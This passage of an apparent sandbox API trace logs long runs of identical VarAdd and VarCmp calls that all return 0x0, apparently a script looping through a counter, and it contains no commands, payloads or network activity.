0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.783] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.783] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.784] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.785] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576970, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarAdd (in: pvarLeft=0x2885d576940, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.786] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.787] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 0x0 [0071.788] VarCmp (pvarLeft=0x2885d576970, pvarRight=0x2885d576958, lcid=0x0, dwFlags=0x30001) returned 